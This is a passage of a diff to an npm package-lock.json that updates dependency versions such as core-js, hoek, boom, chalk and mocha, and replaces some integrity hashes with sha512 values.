+1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.5", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.10.5" } }, @@ -1514,12 +1514,12 @@ } }, "boom": { - "version": "2.10.1", - "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", - "integrity": "sha1-OciRjO/1eZ+D+UkqhI9iWt0Mdm8=", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz", + "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "bootstrap": { @@ -1897,14 +1897,23 @@ } }, "combined-stream": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.5.tgz", - "integrity": "sha1-k4NwpXtKUd6ix3wV1cX9+JUWQAk=", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", + "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "dev": true, "requires": { "delayed-stream": "1.0.0" } }, + "commander": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", + "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", + "dev": true, + "requires": { + "graceful-readlink": "1.0.1" + } + }, "commondir": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", @@ -1987,7 +1996,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", + "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2002,7 +2011,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -2076,7 +2085,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "1.0.6" } @@ -2096,9 +2105,9 @@ } }, "core-js": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.1.tgz", - "integrity": "sha1-rmh03GaTd4m4B1T/VCjfZoGcpQs=" + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.5.tgz", + "integrity": "sha1-sU3ek2xkDAV5prUMq8wTLdYSfjs=" }, "core-util-is": { "version": "1.0.2", @@ -2107,22 +2116,33 @@ "dev": true }, "create-react-class": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.0.tgz", - "integrity": "sha1-q0SEl8JlZuHilBPogyB9V8/nvtQ=", + "version": "15.6.3", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", + "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1" } }, "cryptiles": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz", - "integrity": "sha1-O9/s3GCBR8HGcgL6KR59ylnqo7g=", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-3.1.2.tgz", + "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "2.10.1" + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/boom/-/boom-5.2.0.tgz", + "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", + "dev": true, + "requires": { + "hoek": "4.2.1" + } + } } }, "crypto-browserify": { @@ -2267,14 +2287,6 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "date-now": { @@ -2359,7 +2371,7 @@ "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1", - "rimraf": "2.6.1" + "rimraf": "2.6.2" } }, "delayed-stream": { @@ -2420,9 +2432,9 @@ } }, "dom-helpers": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.2.1.tgz", - "integrity": "sha1-MgPgf+0he9H0JLAZc1WC/Deyglo=" + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.3.1.tgz", + "integrity": "sha512-2Sm+JaYn74OiTM2wHvxJOo3roiq/h25Yi69Fqk269cNUwIXsCvATB6CRSFC9Am/20G2b28hGv/+7NiWydIrPvg==" }, "dom-serialize": { "version": "2.2.1", @@ -2701,9 +2713,9 @@ } }, "es6-promise": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.0.5.tgz", - "integrity": "sha1-eILzCt3lskDM+n99eMVIMwlRrkI=", + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", + "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", "dev": true }, "es6-set": { @@ -2849,7 +2861,7 @@ "loader-utils": "1.1.0", "object-assign": "4.1.1", "object-hash": "1.1.8", - "rimraf": "2.6.1" + "rimraf": "2.6.2" }, "dependencies": { "loader-utils": { @@ -3108,24 +3120,24 @@ } }, "extract-zip": { - "version": "1.6.5", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.5.tgz", - "integrity": "sha1-maBnNbbqIOqbcF13ms/8yHz/BEA=", + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.6.tgz", + "integrity": "sha1-EpDt6NINCHK0Kf0/NRyhKOxe+Fw=", "dev": true, "requires": { "concat-stream": "1.6.0", - "debug": "2.2.0", + "debug": "2.6.9", "mkdirp": "0.5.0", "yauzl": "2.4.1" }, "dependencies": { "debug": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz", - "integrity": "sha1-+HBX6ZWxofauaklgZkE3vFbwOdo=", + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { - "ms": "0.7.1" + "ms": "2.0.0" } }, "minimist": { @@ -3142,12 +3154,6 @@ "requires": { "minimist": "0.0.8" } - }, - "ms": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz", - "integrity": "sha1-nNE8A62/8ltl7/3nzoZO6VIBcJg=", - "dev": true } } }, @@ -3157,6 +3163,18 @@ "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", "dev": true }, + "fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, "fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", @@ -3179,9 +3197,9 @@ } }, "fbjs": { - "version": "0.8.14", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.14.tgz", - "integrity": "sha1-0dviviVMNakeCfMfnNUKQLKg7Rw=", + "version": "0.8.16", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.16.tgz", + "integrity": "sha1-XmdDL1UNxBtXK/VYR7ispk5TN9s=", "requires": { "core-js": "1.2.7", "isomorphic-fetch": "2.2.1", @@ -3189,7 +3207,7 @@ "object-assign": "4.1.1", "promise": "7.3.1", "setimmediate": "1.0.5", - "ua-parser-js": "0.7.14" + "ua-parser-js": "0.7.17" }, "dependencies": { "core-js": { @@ -3352,13 +3370,13 @@ "dev": true }, "form-data": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.1.4.tgz", - "integrity": "sha1-M8GDrPGTJ27KqYFDpp6Uv+4XUNE=", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", + "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "dev": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "mime-types": "2.1.16" } }, @@ -3827,8 +3845,7 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -4324,20 +4341,12 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "glob": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -4388,7 +4397,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", + "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", "dev": true }, "globby": { @@ -4452,19 +4461,33 @@ } }, "har-schema": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz", - "integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", "dev": true }, "har-validator": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz", - "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", + "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "5.5.2", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "dev": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + } + } } }, "has": { @@ -4517,21 +4540,27 @@ } }, "hawk": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz", - "integrity": "sha1-B4REvXwWQLD+VA0sm3PVlnjo4cQ=", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/hawk/-/hawk-6.0.2.tgz", + "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "2.10.1", - "cryptiles": "2.0.5", - "hoek": "2.16.3", - "sntp": "1.0.9" + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" } }, + "he": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/he/-/he-1.1.1.tgz", + "integrity": "sha1-k0EP0hsAlzUVH4howvJx80J+I/0=", + "dev": true + }, "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -4541,9 +4570,9 @@ } }, "hoek": { - "version": "2.16.3", - "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", - "integrity": "sha1-ILt0A9POo5jpHcRxCo/xuCdKJe0=", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", + "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==", "dev": true }, "hoist-non-react-statics": { @@ -4564,7 +4593,7 @@ "hosted-git-info": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", + "integrity": "sha512-pNgbURSuab90KbTqvRPsseaTxOJCZBD0a7t+haSN33piP9cCM4l0CqdzAif2hUqm716UovKB2ROmiabGAKVXyg==", "dev": true }, "html-comment-regex": { @@ -4625,14 +4654,14 @@ } }, "http-signature": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz", - "integrity": "sha1-33LiZwZs0Kxn+3at+OE0qPvPkb8=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "dev": true, "requires": { - "assert-plus": "0.2.0", + "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" } }, "https-browserify": { @@ -4649,7 +4678,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" + "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" }, "icss-replace-symbols": { "version": "1.1.0", @@ -5027,8 +5056,8 @@ "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", "requires": { - "node-fetch": "1.7.2", - "whatwg-fetch": "2.0.3" + "node-fetch": "1.7.3", + "whatwg-fetch": "2.0.4" } }, "isstream": { @@ -5139,6 +5168,12 @@ "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", "dev": true }, + "json-schema-traverse": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true + }, "json-stable-stringify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", @@ -5202,14 +5237,6 @@ "extsprintf": "1.3.0", "json-schema": "0.2.3", "verror": "1.10.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "jsx-ast-utils": { @@ -5235,7 +5262,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.1", + "core-js": "2.5.5", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -5250,7 +5277,7 @@ "optimist": "0.6.1", "qjobs": "1.1.5", "range-parser": "1.2.0", - "rimraf": "2.6.1", + "rimraf": "2.6.2", "safe-buffer": "5.1.1", "socket.io": "1.7.3", "source-map": "0.5.6", @@ -5303,13 +5330,13 @@ } }, "karma-mocha-reporter": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.4.tgz", - "integrity": "sha1-DJyyLCfYZND2aU3wzwHKq86QZNQ=", + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz", + "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "2.1.0", - "log-symbols": "2.0.0", + "chalk": "2.4.0", + "log-symbols": "2.2.0", "strip-ansi": "4.0.0" }, "dependencies": { @@ -5320,29 +5347,29 @@ "dev": true }, "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "strip-ansi": { @@ -5355,12 +5382,12 @@ } }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5372,7 +5399,7 @@ "dev": true, "requires": { "lodash": "4.17.4", - "phantomjs-prebuilt": "2.1.15" + "phantomjs-prebuilt": "2.1.16" } }, "karma-sourcemap-loader": { @@ -5677,47 +5704,47 @@ } }, "log-symbols": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.0.0.tgz", - "integrity": "sha512-ValCSal2pRxRbet7O69a/1g5fZ2MLxf1YXIslNrdJF42ofY9zVf6MTqTwfhG+2x168xrbZATCgFQfXAwdNHv+w==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", + "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "2.1.0" + "chalk": "2.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5826,7 +5853,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5918,7 +5945,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -5948,9 +5975,9 @@ } }, "mocha": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.0.tgz", - "integrity": "sha512-pIU2PJjrPYvYRqVpjXzj76qltO9uBYI7woYAMoxbSefsa+vqAfptjoeevd6bUgwD0mPIO+hv9f7ltvsNreL2PA==", + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.3.tgz", + "integrity": "sha512-/6na001MJWEtYxHOV1WLfsmR4YIynkUEhBwzsb+fk2qmQ3iqsi258l/Q2MWHJMImAcNpZ8DEdYAK72NHoIQ9Eg==", "dev": true, "requires": { "browser-stdout": "1.3.0", @@ -5960,21 +5987,13 @@ "escape-string-regexp": "1.0.5", "glob": "7.1.1", "growl": "1.9.2", + "he": "1.1.1", "json3": "3.3.2", "lodash.create": "3.1.1", "mkdirp": "0.5.1", "supports-color": "3.1.2" }, "dependencies": { - "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", - "dev": true, - "requires": { - "graceful-readlink": "1.0.1" - } - }, "glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", @@ -6001,9 +6020,9 @@ } }, "moment": { - "version": "2.21.0", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.21.0.tgz", - "integrity": "sha512-TCZ36BjURTeFTM/CwRcViQlfkMvL1/vFISuNLO5GkcVm1+QHfbSiNqZuWeMFjj1/3+uAjXswgRk30j1kkLYJBQ==" + "version": "2.22.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.1.tgz", + "integrity": "sha512-shJkRTSebXvsVqk56I+lkb2latjBs8I+pc2TzWc545y2iFnSjm7Wg0QMh+ZWcdSLQyGEau5jI8ocnmkyTgr9YQ==" }, "ms": { "version": "2.0.0", @@ -6045,9 +6064,9 @@ "dev": true }, "node-fetch": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.2.tgz", - "integrity": "sha512-xZZUq2yDhKMIn/UgG5q//IZSNLJIwW2QxS14CNH5spuiXkITM2pUitjdq58yLSaU7m4M0wBNaM2Gh/ggY4YJig==", + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { "encoding": "0.1.12", "is-stream": "1.1.0" @@ -6140,7 +6159,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", + "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", "dev": true, "requires": { "hosted-git-info": "2.5.0", @@ -6181,6 +6200,3861 @@ 